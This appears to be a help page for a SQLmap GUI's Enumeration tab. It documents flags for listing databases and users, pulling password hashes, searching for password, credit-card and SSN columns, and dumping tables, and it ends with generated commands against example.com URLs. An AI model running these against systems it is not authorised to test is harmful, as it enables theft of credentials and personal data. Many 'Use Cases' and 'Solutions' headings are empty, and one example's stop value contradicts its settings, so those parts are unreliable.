The Enumeration tab controls how SQLmap discovers and extracts database structure and content, including tables, columns, data, and system information.
The Enumeration tab contains five main sections:
Parameter: --dbs
Description: Enumerate all databases on the DBMS
Output: List of all accessible databases
Use Cases:
Parameter: --tables
Description: Enumerate tables in specified database
Requires: -D DBNAME (database name)
Output: List of all tables in the database
Examples:
--tables -D mysql
--tables -D information_schema
--tables -D users_db
Parameter: --columns
Description: Enumerate columns in specified table
Requires: -D DBNAME -T TABLENAME
Output: Column names, data types, and properties
Examples:
--columns -D mysql -T user
--columns -D information_schema -T tables
--columns -D app_db -T users
Parameter: --users
Description: Enumerate database users
Output: List of database user accounts
Use Cases:
Parameter: --passwords
Description: Enumerate user password hashes
Output: Username and password hash pairs
Use Cases:
Parameter: --privileges
Description: Enumerate user privileges
Output: User permissions and roles
Use Cases:
Parameter: --roles
Description: Enumerate user roles
Output: User role assignments
Use Cases:
Parameter: -D DBNAME
Description: Specify database for enumeration
Examples:
-D mysql
-D information_schema
-D app_database
-D master
Parameter: -T TABLENAME
Description: Specify table for enumeration
Examples:
-T users
-T admin_users
-T user_credentials
-T system_tables
Parameter: -C COLUMNNAME
Description: Specify column for enumeration
Examples:
-C username,password
-C email,phone
-C id,name,status
-C credit_card,expiry
Parameter: --count
Description: Get row count for tables
Output: Number of records in specified table
Use Cases:
Parameter: --dump
Description: Dump all entries from specified table
Requires: -D DBNAME -T TABLENAME
Output: All table data in CSV format
Examples:
--dump -D app_db -T users
--dump -D mysql -T user
--dump -D information_schema -T tables
Parameter: --dump-all
Description: Dump all tables from all databases
Output: Complete database dump
Warning: Can be very large and time-consuming
Use Cases:
Parameter: --dump -C COLUMNS
Description: Dump only specified columns
Examples:
--dump -D app_db -T users -C username,email
--dump -D mysql -T user -C User,Password
--dump -C id,name,status
Parameter: --start=START
Description: Start dumping from specific row number
Examples:
--start=100
--start=1000
--start=50000
Use Cases:
Parameter: --stop=STOP
Description: Stop dumping at specific row number
Examples:
--stop=1000
--stop=50000
--stop=100000
Use Cases:
Parameter: --search -C COLUMNNAME
Description: Search for columns across all databases
Examples:
--search -C password
--search -C email
--search -C credit_card
Use Cases:
Parameter: --search -T TABLENAME
Description: Search for tables across all databases
Examples:
--search -T users
--search -T admin
--search -T config
Use Cases:
Parameter: --common-tables
Description: Brute-force common table names
Behavior: Tests common table names like users, admin, config
Use Cases:
Parameter: --common-columns
Description: Brute-force common column names
Behavior: Tests common column names like id, name, password
Use Cases:
Enumerate Databases: ✓ Enabled
Enumerate Users: ✓ Enabled
Enumerate Passwords: ✓ Enabled
Generated Command:
sqlmap -u "http://example.com/page.php?id=1" --dbs --users --passwords
Database: mysql
Enumerate Tables: ✓ Enabled
Enumerate Columns: ✓ Enabled
Table: user
Generated Command:
sqlmap -u "http://example.com/admin.php?id=1" -D mysql --tables --columns -T user
Database: app_db
Table: users
Dump Table: ✓ Enabled
Columns: username,password,email
Start from: 1
Stop at: 1000
Generated Command:
sqlmap -u "http://example.com/user.php?id=1" -D app_db -T users --dump -C username,password,email --start=1 --stop=1000
Dump All Databases: ✓ Enabled
Generated Command:
sqlmap -u "http://example.com/db.php?id=1" --dump-all
Search Columns: password,credit_card,ssn
Search Tables: users,admin,customers
Generated Command:
sqlmap -u "http://example.com/search.php?q=test" --search -C password,credit_card,ssn --search -T users,admin,customers
Database: logs
Table: access_logs
Dump Table: ✓ Enabled
Start from: 100000
Stop at: 200000
Generated Command:
sqlmap -u "http://example.com/logs.php?id=1" -D logs -T access_logs --dump --start=100000 --stop=100000
Problem: –dbs returns no results Solutions:
Problem: –tables not working on specific database Solutions:
Problem: –columns not returning expected results Solutions:
Problem: Dump files becoming too large Solutions:
Problem: Access denied on certain databases/tables Solutions:
Problem: Enumeration taking too long Solutions: